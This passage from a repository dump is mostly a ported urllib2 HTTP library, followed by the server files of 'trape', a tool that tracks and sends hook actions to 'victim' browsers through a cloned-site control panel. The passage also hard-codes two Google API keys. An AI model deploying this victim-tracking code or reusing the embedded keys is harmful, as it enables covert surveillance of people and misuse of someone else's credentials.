# request, although that might interact poorly with other\n        # handlers that also use handler-specific request attributes\n        new = self.redirect_request(req, fp, code, msg, headers, newurl)\n        if new is None:\n            return\n\n        # loop detection\n        # .redirect_dict has a key url if url was previously visited.\n        if hasattr(req, 'redirect_dict'):\n            visited = new.redirect_dict = req.redirect_dict\n            if (visited.get(newurl, 0) >= self.max_repeats or\n                    len(visited) >= self.max_redirections):\n                raise HTTPError(req.get_full_url(), code,\n                                self.inf_msg + msg, headers, fp)\n        else:\n            visited = new.redirect_dict = req.redirect_dict = {}\n        visited[newurl] = visited.get(newurl, 0) + 1\n\n        # Don't close the fp until we are sure that we won't use it\n        # with HTTPError.\n        fp.read()\n        fp.close()\n\n        return self.parent.open(new, timeout=req.timeout)\n\n    http_error_301 = http_error_303 = http_error_307 = http_error_302\n\n    inf_msg = \"The HTTP server returned a redirect error that would \" \\\n              \"lead to an infinite loop.\\n\" \\\n              \"The last 30x error message was:\\n\"\n\n\ndef _parse_proxy(proxy):\n    \"\"\"Return (scheme, user, password, host/port) given a URL or an authority.\n\n    If a URL is supplied, it must have an authority (host:port) component.\n    According to RFC 3986, having an authority component means the URL must\n    have two slashes after the scheme:\n\n    >>> _parse_proxy('file:/ftp.example.com/')\n    Traceback (most recent call last):\n    ValueError: proxy URL with no authority: 'file:/ftp.example.com/'\n\n    The first three items of the returned tuple may be None.\n\n    Examples of authority parsing:\n\n    >>> _parse_proxy('proxy.example.com')\n    (None, None, None, 'proxy.example.com')\n    >>> _parse_proxy('proxy.example.com:3128')\n    (None, None, None, 'proxy.example.com:3128')\n\n    The authority component may optionally include userinfo (assumed to be\n    username:password):\n\n    >>> _parse_proxy('joe:password@proxy.example.com')\n    (None, 'joe', 'password', 'proxy.example.com')\n    >>> _parse_proxy('joe:password@proxy.example.com:3128')\n    (None, 'joe', 'password', 'proxy.example.com:3128')\n\n    Same examples, but with URLs instead:\n\n    >>> _parse_proxy('http://proxy.example.com/')\n    ('http', None, None, 'proxy.example.com')\n    >>> _parse_proxy('http://proxy.example.com:3128/')\n    ('http', None, None, 'proxy.example.com:3128')\n    >>> _parse_proxy('http://joe:password@proxy.example.com/')\n    ('http', 'joe', 'password', 'proxy.example.com')\n    >>> _parse_proxy('http://joe:password@proxy.example.com:3128')\n    ('http', 'joe', 'password', 'proxy.example.com:3128')\n\n    Everything after the authority is ignored:\n\n    >>> _parse_proxy('ftp://joe:password@proxy.example.com/rubbish:3128')\n    ('ftp', 'joe', 'password', 'proxy.example.com')\n\n    Test for no trailing '/' case:\n\n    >>> _parse_proxy('http://joe:password@proxy.example.com')\n    ('http', 'joe', 'password', 'proxy.example.com')\n\n    \"\"\"\n    scheme, r_scheme = splittype(proxy)\n    if not r_scheme.startswith(\"/\"):\n        # authority\n        scheme = None\n        authority = proxy\n    else:\n        # URL\n        if not r_scheme.startswith(\"//\"):\n            raise ValueError(\"proxy URL with no authority: %r\" % proxy)\n        # We have an authority, so for RFC 3986-compliant URLs (by ss 3.\n        # and 3.3.), path is empty or starts with '/'\n        end = r_scheme.find(\"/\", 2)\n        if end == -1:\n            end = None\n        authority = r_scheme[2:end]\n    userinfo, hostport = splituser(authority)\n    if userinfo is not None:\n        user, password = splitpasswd(userinfo)\n    else:\n        user = password = None\n    return scheme, user, password, hostport\n\n\nclass ProxyHandler(BaseHandler):\n    # Proxies must be in front\n    handler_order = 100\n\n    def __init__(self, proxies=None):\n        if proxies is None:\n            proxies = getproxies()\n        assert hasattr(proxies, 'has_key'), \"proxies must be a mapping\"\n        self.proxies = proxies\n        for type, url in list(proxies.items()):\n            setattr(self, '%s_open' % type,\n                    lambda r, proxy=url, type=type, meth=self.proxy_open:\n                    meth(r, proxy, type))\n\n    def proxy_open(self, req, proxy, type):\n        orig_type = req.get_type()\n        proxy_type, user, password, hostport = _parse_proxy(proxy)\n\n        if proxy_type is None:\n            proxy_type = orig_type\n\n        if req.host and proxy_bypass(req.host):\n            return None\n\n        if user and password:\n            user_pass = '%s:%s' % (unquote(user), unquote(password))\n            creds = base64.b64encode(user_pass).strip()\n            req.add_header('Proxy-authorization', 'Basic ' + creds)\n        hostport = unquote(hostport)\n        req.set_proxy(hostport, proxy_type)\n\n        if orig_type == proxy_type or orig_type == 'https':\n            # let other handlers take care of it\n            return None\n        else:\n            # need to start over, because the other handlers don't\n            # grok the proxy's URL type\n            # e.g. if we have a constructor arg proxies like so:\n            # {'http': 'ftp://proxy.example.com'}, we may end up turning\n            # a request for http://acme.example.com/a into one for\n            # ftp://proxy.example.com/a\n            return self.parent.open(req, timeout=req.timeout)\n\n\nclass HTTPPasswordMgr:\n\n    def __init__(self):\n        self.passwd = {}\n\n    def add_password(self, realm, uri, user, passwd):\n        # uri could be a single URI or a sequence\n        if isinstance(uri, str):\n            uri = [uri]\n        if not realm in self.passwd:\n            self.passwd[realm] = {}\n        for default_port in True, False:\n            reduced_uri = tuple(\n                [self.reduce_uri(u, default_port) for u in uri])\n            self.passwd[realm][reduced_uri] = (user, passwd)\n\n    def find_user_password(self, realm, authuri):\n        domains = self.passwd.get(realm, {})\n        for default_port in True, False:\n            reduced_authuri = self.reduce_uri(authuri, default_port)\n            for uris, authinfo in domains.items():\n                for uri in uris:\n                    if self.is_suburi(uri, reduced_authuri):\n                        return authinfo\n        return None, None\n\n    def reduce_uri(self, uri, default_port=True):\n        \"\"\"Accept authority or URI and extract only the authority and path.\"\"\"\n        # note HTTP URLs do not have a userinfo component\n        parts = urllib.parse.urlsplit(uri)\n        if parts[1]:\n            # URI\n            scheme = parts[0]\n            authority = parts[1]\n            path = parts[2] or '/'\n        else:\n            # host or host:port\n            scheme = None\n            authority = uri\n            path = '/'\n        host, port = splitport(authority)\n        if default_port and port is None and scheme is not None:\n            dport = {\"http\": 80,\n                     \"https\": 443,\n                     }.get(scheme)\n            if dport is not None:\n                authority = \"%s:%d\" % (host, dport)\n        return authority, path\n\n    def is_suburi(self, base, test):\n        \"\"\"Check if test is below base in a URI tree\n\n        Both args must be URIs in reduced form.\n        \"\"\"\n        if base == test:\n            return True\n        if base[0] != test[0]:\n            return False\n        common = posixpath.commonprefix((base[1], test[1]))\n        if len(common) == len(base[1]):\n            return True\n        return False\n\n\nclass HTTPPasswordMgrWithDefaultRealm(HTTPPasswordMgr):\n\n    def find_user_password(self, realm, authuri):\n        user, password = HTTPPasswordMgr.find_user_password(self, realm,\n                                                            authuri)\n        if user is not None:\n            return user, password\n        return HTTPPasswordMgr.find_user_password(self, None, authuri)\n\n\nclass AbstractBasicAuthHandler:\n\n    # XXX this allows for multiple auth-schemes, but will stupidly pick\n    # the last one with a realm specified.\n\n    # allow for double- and single-quoted realm values\n    # (single quotes are a violation of the RFC, but appear in the wild)\n    rx = re.compile('(?:.*,)*[ \\t]*([^ \\t]+)[ \\t]+'\n                    'realm=([\"\\'])(.*?)\\\\2', re.I)\n\n    # XXX could pre-emptively send auth info already accepted (RFC 2617,\n    # end of section 2, and section 1.2 immediately after \"credentials\"\n    # production).\n\n    def __init__(self, password_mgr=None):\n        if password_mgr is None:\n            password_mgr = HTTPPasswordMgr()\n        self.passwd = password_mgr\n        self.add_password = self.passwd.add_password\n        self.retried = 0\n\n    def reset_retry_count(self):\n        self.retried = 0\n\n    def http_error_auth_reqed(self, authreq, host, req, headers):\n        # host may be an authority (without userinfo) or a URL with an\n        # authority\n        # XXX could be multiple headers\n        authreq = headers.get(authreq, None)\n\n        if self.retried > 5:\n            # retry sending the username:password 5 times before failing.\n            raise HTTPError(req.get_full_url(), 401, \"basic auth failed\",\n                            headers, None)\n        else:\n            self.retried += 1\n\n        if authreq:\n            mo = AbstractBasicAuthHandler.rx.search(authreq)\n            if mo:\n                scheme, quote, realm = mo.groups()\n                if scheme.lower() == 'basic':\n                    response = self.retry_http_basic_auth(host, req, realm)\n                    if response and response.code != 401:\n                        self.retried = 0\n                    return response\n\n    def retry_http_basic_auth(self, host, req, realm):\n        user, pw = self.passwd.find_user_password(realm, host)\n        if pw is not None:\n            raw = \"%s:%s\" % (user, pw)\n            auth = 'Basic %s' % base64.b64encode(raw).strip()\n            if req.headers.get(self.auth_header, None) == auth:\n                return None\n            req.add_unredirected_header(self.auth_header, auth)\n            return self.parent.open(req, timeout=req.timeout)\n        else:\n            return None\n\n\nclass HTTPBasicAuthHandler(AbstractBasicAuthHandler, BaseHandler):\n\n    auth_header = 'Authorization'\n\n    def http_error_401(self, req, fp, code, msg, headers):\n        url = req.get_full_url()\n        response = self.http_error_auth_reqed('www-authenticate',\n                                              url, req, headers)\n        self.reset_retry_count()\n        return response\n\n\nclass ProxyBasicAuthHandler(AbstractBasicAuthHandler, BaseHandler):\n\n    auth_header = 'Proxy-authorization'\n\n    def http_error_407(self, req, fp, code, msg, headers):\n        # http_error_auth_reqed requires that there is no userinfo component in\n        # authority.  Assume there isn't one, since urllib2 does not (and\n        # should not, RFC 3986 s. 3.2.1) support requests for URLs containing\n        # userinfo.\n        authority = req.get_host()\n        response = self.http_error_auth_reqed('proxy-authenticate',\n                                              authority, req, headers)\n        self.reset_retry_count()\n        return response\n\n\ndef randombytes(n):\n    \"\"\"Return n random bytes.\"\"\"\n    # Use /dev/urandom if it is available.  Fall back to random module\n    # if not.  It might be worthwhile to extend this function to use\n    # other platform-specific mechanisms for getting random bytes.\n    if os.path.exists(\"/dev/urandom\"):\n        f = open(\"/dev/urandom\")\n        s = f.read(n)\n        f.close()\n        return s\n    else:\n        L = [chr(random.randrange(0, 256)) for i in range(n)]\n        return \"\".join(L)\n\n\nclass AbstractDigestAuthHandler:\n    # Digest authentication is specified in RFC 2617.\n\n    # XXX The client does not inspect the Authentication-Info header\n    # in a successful response.\n\n    # XXX It should be possible to test this implementation against\n    # a mock server that just generates a static set of challenges.\n\n    # XXX qop=\"auth-int\" supports is shaky\n\n    def __init__(self, passwd=None):\n        if passwd is None:\n            passwd = HTTPPasswordMgr()\n        self.passwd = passwd\n        self.add_password = self.passwd.add_password\n        self.retried = 0\n        self.nonce_count = 0\n        self.last_nonce = None\n\n    def reset_retry_count(self):\n        self.retried = 0\n\n    def http_error_auth_reqed(self, auth_header, host, req, headers):\n        authreq = headers.get(auth_header, None)\n        if self.retried > 5:\n            # Don't fail endlessly - if we failed once, we'll probably\n            # fail a second time. Hm. Unless the Password Manager is\n            # prompting for the information. Crap. This isn't great\n            # but it's better than the current 'repeat until recursion\n            # depth exceeded' approach <wink>\n            raise HTTPError(req.get_full_url(), 401, \"digest auth failed\",\n                            headers, None)\n        else:\n            self.retried += 1\n        if authreq:\n            scheme = authreq.split()[0]\n            if scheme.lower() == 'digest':\n                return self.retry_http_digest_auth(req, authreq)\n\n    def retry_http_digest_auth(self, req, auth):\n        token, challenge = auth.split(' ', 1)\n        chal = parse_keqv_list(parse_http_list(challenge))\n        auth = self.get_authorization(req, chal)\n        if auth:\n            auth_val = 'Digest %s' % auth\n            if req.headers.get(self.auth_header, None) == auth_val:\n                return None\n            req.add_unredirected_header(self.auth_header, auth_val)\n            resp = self.parent.open(req, timeout=req.timeout)\n            return resp\n\n    def get_cnonce(self, nonce):\n        # The cnonce-value is an opaque\n        # quoted string value provided by the client and used by both client\n        # and server to avoid chosen plaintext attacks, to provide mutual\n        # authentication, and to provide some message integrity protection.\n        # This isn't a fabulous effort, but it's probably Good Enough.\n        dig = hashlib.sha1(\"%s:%s:%s:%s\" % (self.nonce_count, nonce, time.ctime(),\n                                            randombytes(8))).hexdigest()\n        return dig[:16]\n\n    def get_authorization(self, req, chal):\n        try:\n            realm = chal['realm']\n            nonce = chal['nonce']\n            qop = chal.get('qop')\n            algorithm = chal.get('algorithm', 'MD5')\n            # mod_digest doesn't send an opaque, even though it isn't\n            # supposed to be optional\n            opaque = chal.get('opaque', None)\n        except KeyError:\n            return None\n\n        H, KD = self.get_algorithm_impls(algorithm)\n        if H is None:\n            return None\n\n        user, pw = self.passwd.find_user_password(realm, req.get_full_url())\n        if user is None:\n            return None\n\n        # XXX not implemented yet\n        if req.has_data():\n            entdig = self.get_entity_digest(req.get_data(), chal)\n        else:\n            entdig = None\n\n        A1 = \"%s:%s:%s\" % (user, realm, pw)\n        A2 = \"%s:%s\" % (req.get_method(),\n                        # XXX selector: what about proxies and full urls\n                        req.get_selector())\n        if qop == 'auth':\n            if nonce == self.last_nonce:\n                self.nonce_count += 1\n            else:\n                self.nonce_count = 1\n                self.last_nonce = nonce\n\n            ncvalue = '%08x' % self.nonce_count\n            cnonce = self.get_cnonce(nonce)\n            noncebit = \"%s:%s:%s:%s:%s\" % (nonce, ncvalue, cnonce, qop, H(A2))\n            respdig = KD(H(A1), noncebit)\n        elif qop is None:\n            respdig = KD(H(A1), \"%s:%s\" % (nonce, H(A2)))\n        else:\n            # XXX handle auth-int.\n            raise URLError(\"qop '%s' is not supported.\" % qop)\n\n        # XXX should the partial digests be encoded too?\n\n        base = 'username=\"%s\", realm=\"%s\", nonce=\"%s\", uri=\"%s\", ' \\\n               'response=\"%s\"' % (user, realm, nonce, req.get_selector(),\n                                  respdig)\n        if opaque:\n            base += ', opaque=\"%s\"' % opaque\n        if entdig:\n            base += ', digest=\"%s\"' % entdig\n        base += ', algorithm=\"%s\"' % algorithm\n        if qop:\n            base += ', qop=auth, nc=%s, cnonce=\"%s\"' % (ncvalue, cnonce)\n        return base\n\n    def get_algorithm_impls(self, algorithm):\n        # algorithm should be case-insensitive according to RFC2617\n        algorithm = algorithm.upper()\n        # lambdas assume digest modules are imported at the top level\n        if algorithm == 'MD5':\n            def H(x): return hashlib.md5(x).hexdigest()\n        elif algorithm == 'SHA':\n            def H(x): return hashlib.sha1(x).hexdigest()\n        # XXX MD5-sess\n        def KD(s, d): return H(\"%s:%s\" % (s, d))\n        return H, KD\n\n    def get_entity_digest(self, data, chal):\n        # XXX not implemented yet\n        return None\n\n\nclass HTTPDigestAuthHandler(BaseHandler, AbstractDigestAuthHandler):\n    \"\"\"An authentication protocol defined by RFC 2069\n\n    Digest authentication improves on basic authentication because it\n    does not transmit passwords in the clear.\n    \"\"\"\n\n    auth_header = 'Authorization'\n    handler_order = 490  # before Basic auth\n\n    def http_error_401(self, req, fp, code, msg, headers):\n        host = urllib.parse.urlparse(req.get_full_url())[1]\n        retry = self.http_error_auth_reqed('www-authenticate',\n                                           host, req, headers)\n        self.reset_retry_count()\n        return retry\n\n\nclass ProxyDigestAuthHandler(BaseHandler, AbstractDigestAuthHandler):\n\n    auth_header = 'Proxy-Authorization'\n    handler_order = 490  # before Basic auth\n\n    def http_error_407(self, req, fp, code, msg, headers):\n        host = req.get_host()\n        retry = self.http_error_auth_reqed('proxy-authenticate',\n                                           host, req, headers)\n        self.reset_retry_count()\n        return retry\n\n\nclass AbstractHTTPHandler(BaseHandler):\n\n    def __init__(self, debuglevel=0):\n        self._debuglevel = debuglevel\n\n    def set_http_debuglevel(self, level):\n        self._debuglevel = level\n\n    def do_request_(self, request):\n        host = request.get_host()\n        if not host:\n            raise URLError('no host given')\n\n        if request.has_data():  # POST\n            data = request.get_data()\n            if not request.has_header('Content-type'):\n                request.add_unredirected_header(\n                    'Content-type',\n                    'application/x-www-form-urlencoded')\n            if not request.has_header('Content-length'):\n                request.add_unredirected_header(\n                    'Content-length', '%d' % len(data))\n\n        sel_host = host\n        if request.has_proxy():\n            scheme, sel = splittype(request.get_selector())\n            sel_host, sel_path = splithost(sel)\n\n        if not request.has_header('Host'):\n            request.add_unredirected_header('Host', sel_host)\n        for name, value in self.parent.addheaders:\n            name = name.capitalize()\n            if not request.has_header(name):\n                request.add_unredirected_header(name, value)\n\n        return request\n\n    def do_open(self, http_class, req):\n        \"\"\"Return an addinfourl object for the request, using http_class.\n\n        http_class must implement the HTTPConnection API from httplib.\n        The addinfourl return value is a file-like object.  It also\n        has methods and attributes including:\n            - info(): return a mimetools.Message object for the headers\n            - geturl(): return the original request URL\n            - code: HTTP status code\n        \"\"\"\n        host = req.get_host()\n        if not host:\n            raise URLError('no host given')\n\n        h = http_class(host, timeout=req.timeout)  # will parse host:port\n        h.set_debuglevel(self._debuglevel)\n\n        headers = dict(req.unredirected_hdrs)\n        headers.update(dict((k, v) for k, v in list(req.headers.items())\n                            if k not in headers))\n\n        # We want to make an HTTP/1.1 request, but the addinfourl\n        # class isn't prepared to deal with a persistent connection.\n        # It will try to read all remaining data from the socket,\n        # which will block while the server waits for the next request.\n        # So make sure the connection gets closed after the (only)\n        # request.\n        headers[\"Connection\"] = \"close\"\n        headers = dict(\n            (name.title(), val) for name, val in list(headers.items()))\n\n        if req._tunnel_host:\n            tunnel_headers = {}\n            proxy_auth_hdr = \"Proxy-Authorization\"\n            if proxy_auth_hdr in headers:\n                tunnel_headers[proxy_auth_hdr] = headers[proxy_auth_hdr]\n                # Proxy-Authorization should not be sent to origin\n                # server.\n                del headers[proxy_auth_hdr]\n            h.set_tunnel(req._tunnel_host, headers=tunnel_headers)\n\n        try:\n            h.request(req.get_method(), req.get_selector(), req.data, headers)\n        except socket.error as err:  # XXX what error?\n            h.close()\n            raise URLError(err)\n        else:\n            try:\n                r = h.getresponse(buffering=True)\n            except TypeError:  # buffering kw not supported\n                r = h.getresponse()\n\n        # Pick apart the HTTPResponse object to get the addinfourl\n        # object initialized properly.\n\n        # Wrap the HTTPResponse object in socket's file object adapter\n        # for Windows.  That adapter calls recv(), so delegate recv()\n        # to read().  This weird wrapping allows the returned object to\n        # have readline() and readlines() methods.\n\n        # XXX It might be better to extract the read buffering code\n        # out of socket._fileobject() and into a base class.\n\n        r.recv = r.read\n        fp = socket._fileobject(r, close=True)\n\n        resp = addinfourl(fp, r.msg, req.get_full_url())\n        resp.code = r.status\n        resp.msg = r.reason\n        return resp\n\n\nclass HTTPHandler(AbstractHTTPHandler):\n\n    def http_open(self, req):\n        return self.do_open(http.client.HTTPConnection, req)\n\n    http_request = AbstractHTTPHandler.do_request_\n\n\nif hasattr(httplib, 'HTTPS'):\n    class HTTPSHandler(AbstractHTTPHandler):\n\n        def https_open(self, req):\n            return self.do_open(http.client.HTTPSConnection, req)\n\n        https_request = AbstractHTTPHandler.do_request_\n\n\nclass HTTPCookieProcessor(BaseHandler):\n    def __init__(self, cookiejar=None):\n        import http.cookiejar\n        if cookiejar is None:\n            cookiejar = http.cookiejar.CookieJar()\n        self.cookiejar = cookiejar\n\n    def http_request(self, request):\n        self.cookiejar.add_cookie_header(request)\n        return request\n\n    def http_response(self, request, response):\n        self.cookiejar.extract_cookies(response, request)\n        return response\n\n    https_request = http_request\n    https_response = http_response\n\n\nclass UnknownHandler(BaseHandler):\n    def unknown_open(self, req):\n        type = req.get_type()\n        raise URLError('unknown url type: %s' % type)\n\n\ndef parse_keqv_list(l):\n    \"\"\"Parse list of key=value strings where keys are not duplicated.\"\"\"\n    parsed = {}\n    for elt in l:\n        k, v = elt.split('=', 1)\n        if v[0] == '\"' and v[-1] == '\"':\n            v = v[1:-1]\n        parsed[k] = v\n    return parsed\n\n\ndef parse_http_list(s):\n    \"\"\"Parse lists as described by RFC 2068 Section 2.\n\n    In particular, parse comma-separated lists where the elements of\n    the list may include quoted-strings.  A quoted-string could\n    contain a comma.  A non-quoted string could have quotes in the\n    middle.  Neither commas nor quotes count if they are escaped.\n    Only double-quotes count, not single-quotes.\n    \"\"\"\n    res = []\n    part = ''\n\n    escape = quote = False\n    for cur in s:\n        if escape:\n            part += cur\n            escape = False\n            continue\n        if quote:\n            if cur == '\\\\':\n                escape = True\n                continue\n            elif cur == '\"':\n                quote = False\n            part += cur\n            continue\n\n        if cur == ',':\n            res.append(part)\n            part = ''\n            continue\n\n        if cur == '\"':\n            quote = True\n\n        part += cur\n\n    # append last part\n    if part:\n        res.append(part)\n\n    return [part.strip() for part in res]\n\n\ndef _safe_gethostbyname(host):\n    try:\n        return socket.gethostbyname(host)\n    except socket.gaierror:\n        return None\n\n\nclass FileHandler(BaseHandler):\n    # Use local file or FTP depending on form of URL\n    def file_open(self, req):\n        url = req.get_selector()\n        if url[:2] == '//' and url[2:3] != '/' and (req.host and\n                                                    req.host != 'localhost'):\n            req.type = 'ftp'\n            return self.parent.open(req)\n        else:\n            return self.open_local_file(req)\n\n    # names for the localhost\n    names = None\n\n    def get_names(self):\n        if FileHandler.names is None:\n            try:\n                FileHandler.names = tuple(\n                    socket.gethostbyname_ex('localhost')[2] +\n                    socket.gethostbyname_ex(socket.gethostname())[2])\n            except socket.gaierror:\n                FileHandler.names = (socket.gethostbyname('localhost'),)\n        return FileHandler.names\n\n    # not entirely sure what the rules are here\n    def open_local_file(self, req):\n        import email.utils\n        import mimetypes\n        host = req.get_host()\n        filename = req.get_selector()\n        localfile = url2pathname(filename)\n        try:\n            stats = os.stat(localfile)\n            size = stats.st_size\n            modified = email.utils.formatdate(stats.st_mtime, usegmt=True)\n            mtype = mimetypes.guess_type(filename)[0]\n            headers = mimetools.Message(StringIO(\n                'Content-type: %s\\nContent-length: %d\\nLast-modified: %s\\n' %\n                (mtype or 'text/plain', size, modified)))\n            if host:\n                host, port = splitport(host)\n            if not host or \\\n                    (not port and _safe_gethostbyname(host) in self.get_names()):\n                if host:\n                    origurl = 'file://' + host + filename\n                else:\n                    origurl = 'file://' + filename\n                return addinfourl(open(localfile, 'rb'), headers, origurl)\n        except OSError as msg:\n            # urllib2 users shouldn't expect OSErrors coming from urlopen()\n            raise URLError(msg)\n        raise URLError('file not on local host')\n\n\nclass FTPHandler(BaseHandler):\n    def ftp_open(self, req):\n        import ftplib\n        import mimetypes\n        host = req.get_host()\n        if not host:\n            raise URLError('ftp error: no host given')\n        host, port = splitport(host)\n        if port is None:\n            port = ftplib.FTP_PORT\n        else:\n            port = int(port)\n\n        # username/password handling\n        user, host = splituser(host)\n        if user:\n            user, passwd = splitpasswd(user)\n        else:\n            passwd = None\n        host = unquote(host)\n        user = user or ''\n        passwd = passwd or ''\n\n        try:\n            host = socket.gethostbyname(host)\n        except socket.error as msg:\n            raise URLError(msg)\n        path, attrs = splitattr(req.get_selector())\n        dirs = path.split('/')\n        dirs = list(map(unquote, dirs))\n        dirs, file = dirs[:-1], dirs[-1]\n        if dirs and not dirs[0]:\n            dirs = dirs[1:]\n        try:\n            fw = self.connect_ftp(user, passwd, host, port, dirs, req.timeout)\n            type = file and 'I' or 'D'\n            for attr in attrs:\n                attr, value = splitvalue(attr)\n                if attr.lower() == 'type' and \\\n                   value in ('a', 'A', 'i', 'I', 'd', 'D'):\n                    type = value.upper()\n            fp, retrlen = fw.retrfile(file, type)\n            headers = \"\"\n            mtype = mimetypes.guess_type(req.get_full_url())[0]\n            if mtype:\n                headers += \"Content-type: %s\\n\" % mtype\n            if retrlen is not None and retrlen >= 0:\n                headers += \"Content-length: %d\\n\" % retrlen\n            sf = StringIO(headers)\n            headers = mimetools.Message(sf)\n            return addinfourl(fp, headers, req.get_full_url())\n        except ftplib.all_errors as msg:\n            raise URLError('ftp error: %s' %\n                           msg).with_traceback(sys.exc_info()[2])\n\n    def connect_ftp(self, user, passwd, host, port, dirs, timeout):\n        fw = ftpwrapper(user, passwd, host, port, dirs, timeout,\n                        persistent=False)\n        fw.ftp.set_debuglevel(1)\n        return fw\n\n\nclass CacheFTPHandler(FTPHandler):\n    # XXX would be nice to have pluggable cache strategies\n    # XXX this stuff is definitely not thread safe\n    def __init__(self):\n        self.cache = {}\n        self.timeout = {}\n        self.soonest = 0\n        self.delay = 60\n        self.max_conns = 16\n\n    def setTimeout(self, t):\n        self.delay = t\n\n    def setMaxConns(self, m):\n        self.max_conns = m\n\n    def connect_ftp(self, user, passwd, host, port, dirs, timeout):\n        key = user, host, port, '/'.join(dirs), timeout\n        if key in self.cache:\n            self.timeout[key] = time.time() + self.delay\n        else:\n            self.cache[key] = ftpwrapper(\n                user, passwd, host, port, dirs, timeout)\n            self.timeout[key] = time.time() + self.delay\n        self.check_cache()\n        return self.cache[key]\n\n    def check_cache(self):\n        # first check for old ones\n        t = time.time()\n        if self.soonest <= t:\n            for k, v in list(self.timeout.items()):\n                if v < t:\n                    self.cache[k].close()\n                    del self.cache[k]\n                    del self.timeout[k]\n        self.soonest = min(self.timeout.values())\n\n        # then check the size\n        if len(self.cache) == self.max_conns:\n            for k, v in list(self.timeout.items()):\n                if v == self.soonest:\n                    del self.cache[k]\n                    del self.timeout[k]\n                    break\n            self.soonest = min(self.timeout.values())\n\n    def clear_cache(self):\n        for conn in list(self.cache.values()):\n            conn.close()\n        self.cache.clear()\n        self.timeout.clear()\n"
  },
  {
    "path": "core/sockets.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#**\n#\n#########\n# trape #\n#########\n#\n# trape depends of this file\n# For full copyright information this visit: https://github.com/jofpin/trape\n#\n# Copyright 2018 by Jose Pino (@jofpin) / <jofpin@gmail.com>\n#**\nfrom socket import gethostname, gethostbyname \nfrom threading import Lock\nfrom flask import Flask, render_template, session, request, json\nfrom flask_socketio import SocketIO, emit, join_room, rooms, disconnect\nimport core.stats \nimport core.user\nfrom core.user_objects import attacks_hook_message\nfrom core.utils import utils\nfrom core.db import Database\nimport sys\n\n# Main parts, to generate relationships among others\ntrape = core.stats.trape\napp = core.stats.app\n\n# call database\ndb = Database()\n\nasync_mode = None\nsocketio = SocketIO(app, async_mode=async_mode)\nthread = None\nthread_lock = Lock()\n\ndb.sentences_victim('clean_online', None, 2)\n\ndef background_thread():\n    count = 0\n\n@socketio.on(\"join\", namespace=\"/trape\")\ndef join(message):\n    try:\n        join_room(message['room'])\n        session['receive_count'] = session.get('receive_count', 0) + 1\n    except Exception as error:\n        pass\n\n@socketio.on(\"my_room_event\", namespace=\"/trape\")\ndef send_room_message(message):\n    try:\n        session['receive_count'] = session.get('receive_count', 0) + 1\n        hookAction = attacks_hook_message(message['data']['type'])\n        utils.Go(utils.Color['white'] + \"[\" + utils.Color['blueBold'] + \"@\" + utils.Color['white'] + \"]\" + \" \" + hookAction + utils.Color['blue'] + message['data']['message'] + utils.Color['white'] + ' in '  + utils.Color['green'] + message['room'] + utils.Color['white'])\n        emit('my_response', {'data': message['data'], 'count': session['receive_count']},room = message['room'])\n    except Exception as error:\n        pass\n\n@socketio.on(\"disconnect_request\", namespace=\"/trape\")\ndef disconnect_request(d):\n    try:\n        session['receive_count'] = session.get('receive_count', 0) + 1\n        emit('my_response', {'data': 'Disconnected!', 'count': session['receive_count']})\n        utils.Go(utils.Color['white'] + \"[\" + utils.Color['redBold'] + \"-\" + utils.Color['white'] + \"]\" + utils.Color['red'] + \" \" + \"A victim has closed her connection with the following id:\" + \" \" + utils.Color['green'] + d['vId'] + utils.Color['white'])\n        db.sentences_victim('disconnect_victim', d['vId'], 2)\n    except Exception as error:\n        pass\n\n@socketio.on(\"error\", namespace=\"/trape\")\ndef socket_def_error(d):\n    pass\n\n@socketio.on_error(\"/trape\")\ndef error_handler(e):\n    pass\n\n@app.route(\"/\" + trape.home_path)\ndef home():\n    gMaps_free_api_key = 'AIzaSyBUPHAjZl3n8Eza66ka6B78iVyPteC5MgM'\n    if (trape.gmaps != ''):\n        gMaps_free_api_key = trape.gmaps\n\n    shorten_api = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs'\n\n    html = trape.injectCSS_Paths(render_template(\"home.html\", async_mode=socketio.async_mode).replace('[OWN_API_KEY_HERE]', gMaps_free_api_key).replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[TRAPE_SRC]', trape.JSFiles[4]['src']))\n    return html\n\nif __name__ == 'core.sockets':\n    try:\n        socketio.run(app, host= '0.0.0.0', port=trape.app_port, debug=False)\n    except KeyboardInterrupt:\n        socketio.stop()\n        trape.validateLicense.terminate()\n        sys.exit(0)"
  },
  {
    "path": "core/stats.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#**\n#\n#########\n# trape #\n#########\n#\n# trape depends of this file\n# For full copyright information this visit: https://github.com/jofpin/trape\n#\n# Copyright 2018 by Jose Pino (@jofpin) / <jofpin@gmail.com>\n#**\nfrom core.dependence import urllib2\nimport sys\nimport os\nfrom flask import Flask, render_template, session, request, json, redirect, url_for, send_from_directory\nfrom flask_cors import CORS\nfrom trape import Trape\nimport urllib\nfrom core.db import Database\n\n# Main parts, to generate relationships among others\ntrape = Trape(1)\n\nif getattr(sys, 'frozen', False):\n    template_folder = os.path.join(sys._MEIPASS, 'templates')\n    static_folder = os.path.join(sys._MEIPASS, 'static')\n    app = Flask(__name__, template_folder=template_folder, static_folder=static_folder)\nelse:\n    app = Flask(__name__, template_folder='../templates', static_folder='../static')\n\ncors = CORS(app)\n\n# call database\ndb = Database()\n\n# preview header tool in console\ntrape.header()\n\n#print db.firstTime\n\n@app.route(\"/\" + trape.stats_path)\ndef index():\n    return trape.injectCSS_Paths(render_template(\"/login.html\").replace('[LOGIN_SRC]', trape.JSFiles[2]['src']).replace('[LIBS_SRC]', trape.JSFiles[1]['src']))\n\n@app.route(\"/\" + trape.logout_path)\ndef logout():\n    return trape.injectCSS_Paths(render_template(\"/login.html\").replace('[LOGIN_SRC]', trape.JSFiles[2]['src']).replace('[LIBS_SRC]', trape.JSFiles[1]['src']))\n\n@app.route(\"/login\", methods=[\"POST\"])\ndef login():\n    id = request.form['id']\n    if id == trape.stats_key:\n        return json.dumps({'status':'OK', 'path' : trape.home_path, 'victim_path' : trape.victim_path, 'url_to_clone' : trape.url_to_clone, 'app_port' : trape.app_port, 'date_start' : trape.date_start, 'user_ip' : trape.localIp, 'logout': trape.logout_path, 'rm_path' : trape.remove_path})\n    else:\n      return json.dumps({'status':'NOPE', 'path' : '/'})\n\n@app.route(\"/get_data\", methods=[\"POST\"])\ndef home_get_dat():\n    \n    db.sentences_victim('clean_usersnoping', None, 2)\n\n    d = db.sentences_stats('get_data')\n    n = 